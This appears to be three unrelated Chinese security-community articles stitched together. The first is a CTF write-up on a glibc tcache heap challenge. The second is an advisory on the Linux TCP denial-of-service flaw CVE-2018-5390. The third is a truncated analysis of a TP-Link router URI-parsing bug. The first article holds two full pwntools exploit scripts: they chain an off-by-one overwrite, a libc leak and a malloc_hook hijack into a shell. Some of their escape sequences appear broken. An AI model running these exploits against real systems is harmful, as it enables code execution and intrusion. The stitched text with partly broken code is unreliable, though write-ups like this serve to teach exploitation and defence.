easy_heap没能攻克下来：主要原因就是因为对堆块重用机制和size字段对齐处理一无所知。这篇文章将进行简单介绍。
### 一、堆块重用机制
之前在chunk结构的学习中我们已经了解到，presize字段仅在前一个堆块是空闲时才有意义，也就是说，当前一个堆块是inuse态时，presize是可有可无的。考虑到这一点，libc采用了一种机制：当一个堆块是inuse态时，它会把下一个堆块的presize字段也作为自己的用户区，这样就可以节省内存空间，这种把presize字段在pre_chunk非空闲时用作pre_chunk的数据区的处理机制就是堆块重用。
然而，并不是所有情况下都会使用堆块重用！这也是今天要讲的要点：
我们知道，堆块分配时，它的大小要进行内存对齐，32位操作系统中，会以8字节进行对齐（即堆块的大小必须是8字节的整数倍），而64位操作系统中，会以16字节进行对齐（即堆块的大小必须是16字节的整数倍）。
而堆块重用只出现在如下情况：申请的内存大小在按照上述规则进行向大取整后，得到的应有大小比原大小大出的值大于等于对齐字节量的一半！
比如64位操作系统中，malloc(0x88)，向大取整后是0x90，比原来大出了8个字节，而64位下的对齐字节量是16字节，8字节大于等于16的一半，因此会进行堆块重用：0x88中的最后8字节会存在下一个chunk的presize字段位置。而如果是malloc(0x79)，向大取整后是0x80，比原来大出7个字节，小于16的一半，就不会发生堆块重用。
为什么呢？堆块重用的初衷就是节约内存，当符合上述重用条件时，用户申请的大小mod对齐字节量后多出的那块大小是小于等于presize字段长度（如64位下是8字节）的，因此多出的这块小尾巴就正好可以顺便放进presize字段存储，相比来说，如果不重用presize来存，而是继续按16字节对齐，将会产生较大的内存浪费；而当不符合重用条件时，多出来的小尾巴是大于presize长度的，presize就存不下了，而size字段人家自己还有用你又不能拿来占，因此就没法进行堆块重用了。
> 总结一下堆块重用条件：申请的内存大小在按照上述规则进行向大取整后，得到的应有大小比原大小大出的值>=对齐字节量的一半（presize字段长度）.
> =>也即：申请的内存大小mod对齐字节量<=对齐字节量的一半（presize字段长度）.
### 二、size字段对齐计算方式
本部分阐述chunk的size字段的值是怎么算出来的.
size字段的值 = 对齐补齐( size字段长度 + 用户申请的长度 )
我们分用户申请的堆块采用了重用和未采用重用两种情况来看：
1、未采用重用：
如上图，每格代表32位下的4字节或64位下的8字节，按计算公式进行对齐补齐后，共应占4个格，4个格子的长度即为size的值.
2、采用重用：
如上图，每格代表32位下的4字节或64位下的8字节，按计算公式进行对齐补齐后，共应占4个格，4个格子的长度即为size的值.
我们发现：当采用了重用时，计算出来的size字段的值是舍弃了“小尾巴”的，即重用的presize字段长度并未算进来！
也就是说，无论是否重用，抽象掉计算过程来看，最终得到的size字段值一定是从chunk_head到next_chunk_head间的长度！
### 三、漏洞挖掘中的应用
1、off by one 可以覆盖inuse位：必须在进行了重用的情况下才能实现！
2、泄露堆地址时，加减的偏移量应取多少，需要考虑是否有重用！
## 题目分析：
（原题使用的libc版本为libc2.27，而本文的所有分析和使用的exp都是以libc2.26版本进行的，两者除了一些地址偏移量不同以外，其他方面完全一致，请读者自行注意，如果要用libc2.27调exp，只需把我们exp中的几个偏移改动一下就可以了！）
### 一、逆向分析与漏洞挖掘
现在应该养成好习惯了，逆的时候应该先看libc版本！
libc2.27，引入了tcache新特性
> tcache：Thread Local Caching，线程本地缓存
>
> 故名思意，是个缓存，与其线程对应；说到缓存，应该想到“优先存取”的特点，事实上也确实如此
>
> 它也是个堆表，而且是单链表，其特点和fastbin基本相同，只是更弱，弱爆了，没有首块double free检查也没有size校验，爽歪歪
>
> tcache特殊的一点是，它的fd指针是指向用户区的，而不是块首，这是和其他bin的一个重要区别
>
>
> 此外这个东西有一个奇葩的地方，人家别的堆表都待在arena里，但是tcache却存储在堆区；tcache的位置位于堆区的起始处，一共有64个链表，这64个链表的索引结点（也就是链首结点用于存放链表中第一个堆块地址的结点）依次存放在堆区起始处；每个链表最多维护7个堆块
#### 0x01:我们来看一下tcache的相关源码：
1.在 tcache 中新增了两个结构体，分别是 tcache_entry 和 tcache_pertheread_struct
/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;
/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct"). Keeping overall size low is mildly important. Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
static __thread tcache_perthread_struct *tcache = NULL;
可以看到，链表结点结构体很简单，就是一个next指针指向链表中下一个堆块（的用户数据区）；然后定义了一个线程的完整tcache结构体，由两部分组成，第一部分是计数表，记录了64个tcache链表中每个链表内已有的堆块个数（0-7），第二部分是入口表，用来记录64个tcache链表中每条链表的入口地址（即链表中第一个堆块的用户区地址）；最后一行则是初始化了一个线程的tcache，存储在堆空间起始处的tcache在这一步后就完成了分配，由于tcache本身也在堆区故也是一个大chunk，因此其大小是size_chunkhead
+ size_counts + size_entries = 16 + 64 + 64*8 = 592 = 0x250
因此在libc2.26及以后的版本中，堆空间起始部分都会有一块先于用户申请分配的堆空间，大小为0x250，这就是tcache（0x000-0x24F），也就是说用户申请第一块堆内存的起始地址的最低位字节是0x50
2.其中有两个重要的函数， tcache_get() 和 tcache_put():
static void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
static void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void *) e;
}
这两个函数的会在函数
[_int_free](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l4173)
和
[__libc_malloc](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l3051)
的开头被调用，其中 tcache_put 当所请求的分配大小不大于0x408并且当给定大小的 tcache bin 未满时调用。一个 tcache bin
中的最大块数mp_.tcache_count是7。free进去和分配出来就是用的put和get，可以看到并没有什么安全检查
小结：单链表LIFO头插、tcache存储在堆区、64个bins、每个bins最多放7个chunk、tcache的next指针指向chunk的用户数据区而不是chunk_head
@tcache特性
#### 0x02:逆向分析寻找漏洞：
丢IDA看F5（笔者已对大部分函数重命名）：
只有set_log、delet_log、print_log三个功能，显然新建记录和对记录的编辑应该是捏在一起了，因为没有单独的编辑功能，所以应该是新建即确定内容，我们先来看看set_log：
可以看到，程序最多允许用户维护十条记录，索引表的每个表项只存一个记录指针和记录的大小，指针为空就是没记录，不为空就是有内容，还是非常的简洁的；分配用的函数是malloc，大小固定为0xF8，然后让用户输入要输入内容的长度，不得长于0xF8，然后就到了输入内容的部分了，输入内容单独用一个函数read_content来实现，传入的参数是写入目标地址和用户输入的size，我们跟进这个函数看看：
a2就是用户输入的内容长度，是0的话就直接向目标内存写一个0x00
a2不为零时，循环一个字节一个字节读，如果没有触发0x00或n触发截断的话，循环条件就是判断a2-1<v3，按理说v3作为下标应该是从0读到a2-1，但是read函数是在if之前执行的，也就是说，当v3递增至v3
= a2 –
1后，经过一次++v3后v3就等于a2了，已经溢出了，但是下一轮循环在if之前已然read给了a1[v3]即a1[a2]，溢出了一个字节，也就是说只要用户输入长度为0xf8，最终对应的堆块就一定会被溢出一个字节踩到下一个堆块的开头
注意往下两行a1[v3] = 0和a1[a2] =
0，v3代表的是读入的最终停止位置，a2代表的是用户输入的长度，但是显然这里的处理是错误的，应该是a1[a2-1]=0，也就是说，如果用户输入的长度是0xf8，即使用户提前用0x00或n停止了输入，依然会溢出一个字节0x00踩到下个堆块
综上，用户可以通过输入长度0xf8，来溢出一个字节踩到下个堆块，但是存在限制，通过溢出写入字节只能是0x00；这就是典型的由于缓冲区边界检查逻辑考虑不周导致的OFF
BY ONE漏洞。
再来看一下delet_log：
该置零的都置零了，没有漏洞，给个赞
最后看看print_log，这是我们泄露内存的唯一依据：
做了存在性检查，又由于delet_log是安全的，故这里没有利用点；此外打印用的是puts，遇到0x00和n会截断，泄露内存时注意一下即可
小结：存在off by one漏洞，通过在输入长度时输入0xf8触发
### 二、漏洞利用分析
现在已经能够确定：存在off by one，但是溢出只能写入0x00
那么到底踩到了下一个堆块的哪一部分呢？chunk的头部依次是pre_size和size字段，故踩到的是pre_size的最低字节…..
还没反应过来的读者请学习笔者之前的文章《堆块重用机制与size字段对齐计算方式》
malloc申请的大小是0xf8，满足堆块重用条件，故发生了堆块重用，因此溢出的那个字节踩到的是下一个chunk的size字段的最低字节，被篡改成了00.
size字段原本应该是0x101（不知道怎么算出来的仍旧参考堆块重用那篇文章），所以我们实际上是将0x01改写成了0x00，在没有破坏到原有大小值的情况下将pre_inuse位覆盖成了0，成功伪造了pre_chunk为free态的假象，进一步可以触发合并
当然，我们的最终目的是劫持函数指针（此次仍是揍malloc_hook），方法我们还是打算用经典的double
link法，尝试构造两个用户指针索引同一个chunk，然后free一个，再通过另一个篡改next指针劫持到malloc_hook，然后分配到malloc_hook再篡改一下劫持到onegadget就行了
然后我们需要泄露到libc的地址来定位malloc_hook和onegadget
这样一来，现在的情况是：可以off by one触发合并、需要泄露libc、需要tcache attack劫持控制流
#### 目的明确，我们现在先思考如何泄露libc
之前笔者的文章中总结过泄露内存有两种典型思路：堆扩张和重索引
tcache在堆区，其中的数据都对泄露libc没啥帮助，只能泄露堆区地址，我们应该想办法能构造出unsorted bin
chunk才能进一步尝试泄露libc地址。怎么进unsorted bin
chunk呢？在引入tcache机制后，在申请的大小符合规定时，只要tcache里面还有符合要求的，就先从tcache里面出，在free掉一个堆块后，只要与其大小对应的tcache链表还没满（不足7个），就一定先进tcache
@tcache特性；因此想要free一个chunk进unsorted
bin，必须先free掉7个相同大小的chunk把tcache填满，才能把它弄进unsorted bin，同样，你要把它再拿出来，也要先malloc
7次把tcache清空了才能拿到unsorted bin里的。
此外，我们需要了解tcache转移机制：当用户申请一个堆块的时候，如果tcache已经为空，而fastbin/smallbin/unsorted
bin中有size符合的chunk时，会先把fastbin/smallbin/unsorted
bin中的chunk全部转移到tcache中直到填满，然后再从tcache中拿（这就很符合缓存的特性）；转移的过程其实就是前者的常规拆卸操作和后者的常规链入操作。@tcache特性
注意：经调试证实，unsorted bin合并时，合并后的堆块不会进tcache，在从一个大的unsorted bin
chunk分割出chunk的情形下，分出来的和剩下的都不会进tcache！ @tcache特性
也就是说，如果你想从unsorted bin里拿到一个chunk，如果你认为连续malloc
7次清空了tcache后，再malloc一个就是直接把unsorted bin链尾的那个chunk拿出来就ok了，那就大错特错了！unsorted
bin里的chunk这时候必须要全部都转移进tcache，然后再从tcache里往外拿！（注意unsorted bin是FIFO，tcache是LIFO）
了解了以上几个特性，我们可以正式开始考虑，如何利用off by one带来的非法堆块合并来泄露内存了：
首先我们应该对堆块合并可能带来的利用面熟悉于心：一旦通过伪造preinuse导致合并后，将会获得一个用户指针指向一个已经“被free”了的（在bin中的）堆块，显然这个堆块既然由于被非法合并进了bin，就可以再次被分配到，当它再次被分配到的时候就有两个用户指针指向它了，这就成功地打出了双重索引；此外，被合并的堆块既然进了bin的同时又有着一个用户指针的索引，那么显然可以通过这个用户指针进行读操作泄露fd和bk；另外，如果有理想的溢出条件，则可以隔块合并实现堆扩张来攻击中间的那个堆块，这种手段的好处是最前面的那个堆块可以提前free掉，就天然形成合法的fd和bk了，避免了困难的构造。
非常好，看来可以一举两得了，泄露fd和bk可以让我们拿到libc地址，而同时有可以构造出双重索引来进行下一步的tcache
attack劫持。下面我们来看如何来完成这个伟大的合并：
第一点肯定是要过unlink的“自闭”检查了（检查fd的bk和bk的fd是不是自己，也就是自闭症检查，不管堆块有没有，反正我有，我是真的自闭了），你要合并成功，就得让堆块自闭，不然你就得自闭…我说的是不是很有道理…也就是说fd和bk的值必须得满足检查才行。
*注：此外在libc2.26中，被unlink堆块的size还要和被free堆块的presize对上才行，某些时候就需要伪造，详见之后的文章《libc版本差异：unlink检查》
这也是难点所在，我们可爱又可恨的set_log函数给了我们off by
one，却也给了我们字符截断，这样我们如果想通过先free再分配再读的思路泄露内存，再分配的时候由于截断的机制你永远别想达成目的，就只能借助堆块合并带来的攻击面来泄露，但仍不轻松：
我要在相邻堆块间触发unlink，就有一个问题，既然被unlink的堆块被一个用户指针索引着，那也就是说，被unlink的堆块已经被分配到了，也就是说不考虑UAF的情况（因为本例中未出现UAF漏洞），那么这个堆块是通过合法途径分配到的，考虑合法的分配途径，比如从top
chunk出、从unsorted bin出、从small
bin出、从fastbin出，都过不了自闭检查，那么要过自闭检查的话无非就两种思路了：第一是能通过某种办法使得被unlink堆块的fd和bk能过自闭检查，第二是隔块合并利用天然fd和bk过检。
第二种思路笔者很喜欢，因为隔块合并大法经常会阴差阳错地天然绕过libc2.26的__builtin_expect (chunksize(P) !=
prev_size (next_chunk(P)), 0)检查，而不用刻意构造size合法
第一种思路可以作为tcache类pwn的一个通用技巧来介绍：基于之前介绍的特性，当用户申请chunk时若tcache已空、unsorted
bin还有，那unsorted bin里的所有chunk会先全部转移进tcache再从tcache中一个个出，又由于unsorted
bin和tcache分别是FIFO和LIFO，读者自己推演一下这个过程不难发现，转移前后各chunk的bk是不会改变的，而fd的最低字节会由0x00变成0x10（tcache的fd指向chunk数据区）其他字节和原来一模一样！而在此题中，源码的写入逻辑决定了可以把这个0x10写成0x00，这样一来转移前后这几个chunk的fd和bk都和原来在unsorted
bin中时一样，保护了合法关系，为进一步堆块合并攻击做好了铺垫！
### 三、EXPLOIT
这两种思路具体怎么实施呢？下面分别给出作者根据第一种和第二种思路开发的exp：
EXP1：利用u2t转移
from pwn import *
#ARCH SETTING
context(arch = 'amd64' , os = 'linux')
r = process('./easy_heap')
#r = remote('127.0.0.1',9999)
#FUNCTION DEFINE
def new(size,content):
r.recvuntil("?n> ")
r.sendline("1")
r.recvuntil("size n> ")
r.sendline(str(size))
r.recvuntil("content n> ")
r.send(content)
def newz():
r.recvuntil("?n> ")
r.sendline("1")
r.recvuntil("size n> ")
r.sendline(str(0))
def delet(idx):
r.recvuntil("?n> ")
r.sendline("2")
r.recvuntil("index n> ")
r.sendline(str(idx))
def echo(idx):
r.recvuntil("?n> ")
r.sendline("3")
r.recvuntil("index n> ")
r.sendline(str(idx))
#MAIN EXPLOIT
#memory leak
for i in range(10):
newz()
#choose chunk0 2 4 into unsorted bin
delet(1)
delet(3)
for i in range(5,10):
delet(i)
#now tcache filled ,waiting queue is idx.1 , 3 , 5~10
#make unsorted bin: ustbin -> 4 -> 2 -> 0 ,then chunk2 will be leak_target_chunk
delet(0)
delet(2)
delet(4)
#waiting queue is idx.0~10chunk9~5 , 3 , 1 ,and now all chunks was freed ,heap was null
#clean tcache
for i in range(7):
newz() #chunk3 is idx.5 (987653:012345)
#unsorted_bin trans to tcache
newz() #idx.7:pushing 0x00 on the lowest byte will hijack leak_target_chunk.BK's fd bingo on target!
new(0xf8,'x00') #idx.8:1.off-by-one the preinuse bit of chunk3 2.hijack the lowest byte of leak_target_chunk correctly to FD
#fill tcache but don't touch idx.7 , 8 , 5 (six enough considering chunk0 remained in tcache)
for i in range(5):
delet(i)
delet(6)
#merge & leak
delet(5)
echo(8)
unsorted_bin = u64(r.recv(6).ljust(8,'x00'))
libc_base = unsorted_bin - 0x3dac78
print(hex(libc_base))
malloc_hook = libc_base + 0x3dac10
onegadget = libc_base + 0xfdb8e #0x47ca1 #0x7838e #0x47c9a #0xfccde
#hijack
#clean tcache
for i in range(7):
newz()
newz() #idx.9
#now we hold idx.8&9 pointing chunk2
delet(0) #passby counts check
delet(8)
delet(9)
new(0x10,p64(malloc_hook))
newz()
new(0x10,p64(onegadget))
#fire
#according to the logic that size is inputed after malloc
delet(1) #passby idxtable full check
#x = input("fucking")
r.recvuntil("?n> ")
r.sendline("1")
r.interactive()
-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·
EXP2：利用隔块合并攻击
from pwn import *
#ARCH SETTING
context(arch = 'amd64' , os = 'linux')
r = process('./easy_heap')
#r = remote('127.0.0.1',9999)
#FUNCTION DEFINE
def new(size,content):
r.recvuntil("?n> ")
r.sendline("1")
r.recvuntil("size n> ")
r.sendline(str(size))
r.recvuntil("content n> ")
r.send(content)
def newz():
r.recvuntil("?n> ")
r.sendline("1")
r.recvuntil("size n> ")
r.sendline(str(0))
def delet(idx):
r.recvuntil("?n> ")
r.sendline("2")
r.recvuntil("index n> ")
r.sendline(str(idx))
def echo(idx):
r.recvuntil("?n> ")
r.sendline("3")
r.recvuntil("index n> ")
r.sendline(str(idx))
#MAIN EXPLOIT
#memory leak
#prepare for EG attack ,we will build a chunk with presize 0x200
for i in range(10):
newz()
#fill tcache
for i in range(3,10):
delet(i)
#chunk0 1 merge to ustbin, and the chunk2.presize will be 0x200
delet(0)
delet(1)
delet(2) #to make presize stable;maybe only link change both presize and sizeinuse, unlink only change inuse
#x = input("debug")
#then our target is cross-merge
#for cross-merge we must make sure that chunk0 is freed for bypass
#clean tcache
for i in range(7):
newz() #idx.0~7
#x = input("debug33")
newz() #idx.7 chunk0
#x = input("debug33")
newz() #idx.8 chunk1
#x = input("debug33")
newz() #idx.9 chunk2
#x = input("debugggg")
#fill tcache
for i in range(0,7):
delet(i)
#chunk0 into unsorted bin to correct fd & bk for bypass unlink check
delet(7)
#out a chunk from tcache to give a space for chunk1 in-out ,in order to prevent merging again
newz() #idx.0
delet(8)
new(0xf8,'x00') #idx.1 ,we hold it
delet(0) #give back idx.0 to refill tcache
delet(9) #fire
#x = input("debug0")
#clean tcache
for i in range(7):
newz() #idx:0 , 2~7
newz() #idx.8 to cut chunk0, now chunk1.fd & bk point unsorted bin merging with chunk2
#x = input("debug")
echo(1)
unsorted_bin = u64(r.recv(6).ljust(8,'x00'))
libc_base = unsorted_bin - 0x3dac78
print(hex(libc_base))
malloc_hook = libc_base + 0x3dac10
onegadget = libc_base + 0xfdb8e #0x47ca1 #0x7838e #0x47c9a #0xfccde
#x = input("pause")
#hijack
newz() #idx.9
#now we hold idx.1&9 pointing chunk1
delet(0) #passby counts check
delet(1)
delet(9)
new(0x10,p64(malloc_hook))
newz()
new(0x10,p64(onegadget))
#fire
#according to the logic that size is inputed after malloc
delet(2) #passby idxtable full check
#x = input("fucking")
r.recvuntil("?n> ")
r.sendline("1")
r.interactive()
-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·
### 四、exp详解
1.细节问题：就是该题的索引表存储上限只有10个，exp执行过程中要时刻注意是否满了，以保证能通过索引表填满的检查
2.exp1个人感觉没啥大问题，读者自己读一下exp代码、注释，跟着调一下问题应该不大
3.exp2读者如果有问题的话，我猜应该是和size、presize、preinuse这三个关键字段是在何时设置有关，因为这直接影响到能否通过诸多检查，我们在下面“特性补充”部分单独说
### 五、特性补充
#### 一、
1.preinuse位何时置零：仅在前块link入unsorted bin过程中置零
2.size字段何时设置：仅在①alloc过程中设置 ②合并过程中合并后link入unsorted bin前设置
*3.presize字段何时设置：仅在前块link入unsorted bin过程中设置
4.单独的unlink动作不对后块preinuse位置1
5.堆块合并过程：先unlink前块，再合并，再link入unsorted bin
6.堆块合并过程中，指针变化和合并后的size计算是以用户free的那个块为中心，而前面提到的size==next.presize检查则是以被合并的前块为中心：堆块指针在合并后直接用presize值前推偏移，新size也是用户free块的size直接加上presize，而新增检查则是以前块为中心的
#### 二、因此，我们的exp2实现隔块合并攻击的思路就是：
1.制造仨chunk全都free合并入unsorted bin：这时chunk3的presize为2*chunk
2.再把它们分配出来
3.chunk1给free进unsorted bin：①隔块合并它的时候能天然绕过bk、fd那个检查 ②chunk2的presize为1*chunk
4.chunk2先free进tcache，再分配到它off by one：①代码逻辑决定只能在分配的时候写那么一次而没有单独的编辑函数
②进tcache要先new出一个腾地方，不能进unsorted bin是为了防止和chunk1合并破坏之前的铺垫
5.free掉chunk3即可隔块合并到chunk1：chunk3的presize是2*chunk找到chunk1了，chunk1做size检查找到chunk2的presize是1*chunk绕过成功，fd、bk那个检查也是天然过的
### 六、思考与总结
其实堆的利用有点像华容道、推箱子这种游戏，倒来倒去的，所以建议大家多玩这种游戏（突然智障233333）
libc的源码还是要审的，强烈建议各位一定抽时间一天看一点，把libc源码争取能全部看完
最后留一个挑战：读者认为该题进行隔块合并攻击时，开始只需要俩chunk进unsorted
bin就可以了，chunk3开始是没必要delet的，你觉得是不是更简洁呢？不妨按这个思路自行写写exp看，笔者还没有这样写过，写好会在下一篇文章补充发上来哦~ | 社区文章 |
作者：[启明星辰ADLab](https://mp.weixin.qq.com/s/9RxA9xjYFQiujJQwUjMT5g "启明星辰ADLab")
#### 0x01 漏洞简介
2018年7月15日，国外安全研究人员Juha-Matti
Tilli发现并报告了Linux内核的TCP安全漏洞(CVE-2018-5390)，该漏洞可允许远程攻击者无需任何权限在受影响的Linux设备上导致远程拒绝服务。
内核4.9及以上的Linux版本均受该漏洞影响，受影响的设备包括安装了上述内核的计算机平台及Linux嵌入式设备。
为保障企业及机构业务的安全，消除安全隐患，应对可能发生的攻击事件，启明星辰ADLab实验室提醒大家尽快进行系统升级。
#### 0x02 漏洞分析
2018年7月23日，Linux社区修复了CVE-2018-5390漏洞；2018年8月6号，针对该漏洞的内核补丁发布，漏洞得以公开。启明星辰ADLab第一时间对该漏洞进行了跟踪分析。
由于网络原因，在进行TCP通信时会出现TCP包乱序的情况。Linux内核在处理TCP乱序包时会进入快速响应模式，将乱序的包文按序列号大小顺序进行重新排序；为此，Linux内核设置了2个队列：乱序队列及按序队列，乱序队列存放乱序的报文，按序队列存放顺序的报文。
若乱序队列中有报文暂存，Linux内核每收到一个报文都将调用`tcp_prune_queue`函数，`tcp_prune_queue`函数会调用`tcp_collapse_ofo_queue`、`tcp_prune_ofo_queue`函数进行乱序包队列调整及排序操作，以便将乱序的报文顺序化。
`tcp_prune_queue`函数主要流程如下：
`tcp_clollapse_ofo_queue`函数主要流程如下：
`tcp_prune_ofo_queue`函数主要流程如下：
当乱序包队列的包数量比较大时（默认的队列内存大小为6M，假设每个TCP包大小为576字节，则队列中有10000多个包），Linux内核会对乱序队列进行全队列的红黑树查找排序及内存调整。该调整及排序方法的复杂指数很高且十分耗时，这种立即处理且耗时的运算容易消耗大量CPU资源。
针对该情况，攻击者可以通过发送大量的恶意数据包使得接收方主机频繁进行排序及队列调整操作，造成接收方主机的CPU占比达到极高，从而导致主机拒绝服务。
**攻击者攻击时需要满足以下条件：**
1. 攻击者和受攻击方之间进行TCP数据传输。
2. 攻击者通过多个IP向受攻击方发送大量的足够小的TCP包，并注入相关的包引发乱序情况。
该漏洞首次出现在2016年12月发布的Linux内核4.9版本中，4.9版本的Linux内核在处理TCP堵塞机制时引进了谷歌推荐的BBR算法，对TCP机制进行了较大的调整，这种调整使得Linux内核更容易受到DDOS攻击。
为了应对这种恶意的TCP包攻击，Linux内核增加了对恶意包的判断：如果乱序队列中恶意包的数量过多，则不进行排序，以减少CPU开销。主要的修改点包括：
1. 在`tcp_prune_queue`函数增加了`sk->sk_rmem_alloc`的判断：当`sk->sk_rmem_alloc`小于`sk->sk_rcvbuf`时，直接返回；减少调用`tcp_collapse_ofo_queue`、`tcp_collapse`、`tcp_prune_ofo_queue`函数的次数。
2. 在`tcp_prune_ofo_queue`函数中，删除了每次循环操作都要进行内存申请的代码，只有在队列缓冲大小已经处理至少12.5%后，才进行内存申请。
3. 在`tcp_collapse_ofo_queue`函数中，增加了检测恶意包的代码，当认为有恶意攻击时，函数就直接返回。
#### 0x03 漏洞影响
该漏洞影响Linux内核4.9及以上的各版本系统，影响的设备包括安装了上述内核的计算机平台及Linux嵌入式设备，几乎涉及所有厂家：比如亚马逊、苹果、Ubuntu和ZvXEL。
目前已知的受影响系统包括但不限于：
* RHEL 6 and 7
* RHEL 7 for Real Time
* RHEL 7 for ARM64 systems,
* RHEL 7 for IBM POWERsystems
* RHEL Atomic Hos
* Ubuntu 18.04 LTS（BionicBeaver）
* Ubuntu 16.04 LTS（XenialXerus）
* JuniperJunos
* OracleLinux 7
#### 0x04 处置建议
为保障业务的安全，消除安全隐患，应对可能发生的攻击事件，我们对后续工作建议如下：
1. 检查系统版本。Linux已发布针对该漏洞的内核补丁，如果系统在受影响范围内，,尽快下载并更新系统补丁。
2. 监控CPU异常，及时发现CPU占用较高的情况。
3. 防护策略配置。对长时连接且短时发送大量数据的IP进行监控，发现恶意IP并及时在防火墙上进行屏蔽。
漏洞链接： \-<https://git.kernel.org/pub/scm/linux/kernel/git/davem/net.git/commit/?id=1a4f14bab1868b443f0dd3c55b689a478f82e72e>
\- <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5390>
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员。截止目前，ADLab通过CVE发布Windows、Linux、Unix等操作系统安全或软件漏洞近400个，持续保持国际网络安全领域一流水准。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
### 前言介绍
最近`TP-Link`修补了`TL-R600VPN`千兆宽带VPN路由器`1.3.0`版本中的三个漏洞。 在与TP-Link合作以确保其能及时发布补丁后，思科Talos公开了这些漏洞详情。目前对于这些漏洞已有了相应的解决方案，除此之外，我们希望能够对这些漏洞的内部工作方式进行深入研究，之后在文章中我们会分析代码并讲述漏洞是如何产生的。
### 背景
`TP-Link TL-R600VPN`是一款五端口小型办公室/家庭（SOHO）路由器。 该器件在芯片上集成了`Realtek RTL8198`系统。
这个特殊的芯片使用`Lexra`开发的`MIPS-1`架构的分支。
除了在处理未对齐的加载过程和存储操作的一些专有指令外，这两个设备的指令集基本相同。`Lexra`中未包含的说明包括`LWL，SWL，LWR和SWR`。
这些专有指令通常在`MIPS-1`架构编译程序时使用，然而在Lexra中使用时常遇到段错误。了解这些对我们下一步对代码的分析是很有帮助的。
要了解更多有关`Lexra MIPS及其与MIPS-1架构`的信息，请参阅：'[The Lexra
Story](http://probell.com/lexra/)'与 [MIPS-1 patent
filing](https://patents.google.com/patent/US4814976A/en)。
### 漏洞内容
该设备漏洞与HTTP服务器处理对`/fs/`目录的请求的方式有关。设备允许经过身份验证的攻击者远程执行设备上的代码。
当访问`/fs/`目录中的任何页面时，应用程序会错误地解析传递的HTTP标头。
* http://<router_ip>/fs/help</router_ip>
* http://<router_ip>/fs/images</router_ip>
* http://<router_ip>/fs/frames</router_ip>
* http://<router_ip>/fs/dynaform</router_ip>
* http://<router_ip>/fs/localiztion (注意：这不是拼写错误)</router_ip>
在函数“`httpGetMimeTypeByFileName`”中，Web服务器尝试解析所请求页面的文件扩展名以确定其`mime类型`。
在此处理过程中，服务器调用`strlen()`函数来确定所请求页面名称的长度，寻找到该堆分配字符串的末尾，并向后读取文件扩展名，直到遇到句点（0x2e）。
#
# calculates the length of the uri and seeks to the end
#
LOAD:00425CDC loc_425CDC:
LOAD:00425CDC la $t9, strlen
LOAD:00425CE0 sw $zero, 0x38+var_20($sp)
LOAD:00425CE4 jalr $t9 ; strlen
LOAD:00425CE8 sh $zero, 0x38+var_1C($sp)
LOAD:00425CEC addu $s0, $v0
# looks for a period at the current index and break out when found
LOAD:00425CF0 li $v0, 0x2E
LOAD:00425CF4 lbu $v1, 0($s0)
LOAD:00425CF8 lw $gp, 0x38+var_28($sp)
LOAD:00425CFC beq $v1, $v0, loc_425D14
LOAD:00425D00 li $v1, 0b101110
LOAD:00425D04
# loop backwards until a period is found, loading the character into $s0
LOAD:00425D04 loc_425D04:
LOAD:00425D04 addiu $s0, -1
LOAD:00425D08 lbu $v0, 0($s0)
LOAD:00425D0C bne $v0, $v1, loc_425D04
LOAD:00425D10 nop
在请求的页面上应始终有一个扩展名，以防止攻击者进行攻击。这可以在下面的非恶意页面`/web/dynaform/css_main.css`的GDB字符串输出中看到，其中将解析文件的扩展名为“css”。
0x67a170: "/web/dynaform/css_main.css"
0x67a18b: "46YWRtaW4="
0x67a196: "\nConnection: close\r\n\r\nWRtaW4=\r\nConnection: close\r\n\r\n6YWRtaW4=\r\nConnection: close\r\n\r\n46YWRtaW4=\r\nConnection: close\r\n\r\ntaW4=\r\nConnection: close\r\n\r\n http://192.168.0.1/\r\nAuthorization: Basic YWRtaW46YWRt"...
0x67a25e: "aW4=\r\nConnection: close\r\n\r\nnnection: close\r\n\r\n"
0x67a28d: ""
0x67a28e: ""
0x67a28f: ""
0x67a290: ""
但是，如果我们请求其中任意一个易受攻击的页面，我们可以看到解析的URI将不包含句点（0x2e）。 因此，应用程序将会继续向后搜索一段时间。
在这种情况下，我们没有时间能在解析的URI以及早先存储在堆上的原始GET请求数据上（如下面的地址0x679960所示）搜索到我们的payload。我们可以在下面`/fs/help`目录的GDB字符串输出地址`0x67a170`处看到，其中没有解析文件扩展名。
...
0x679960: "/fs/help"
0x679969: "elp"
0x67996d: "HTTP/1.1"
0x679976: "\n"
0x679978: "ost: 192.168.0.1\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q"...
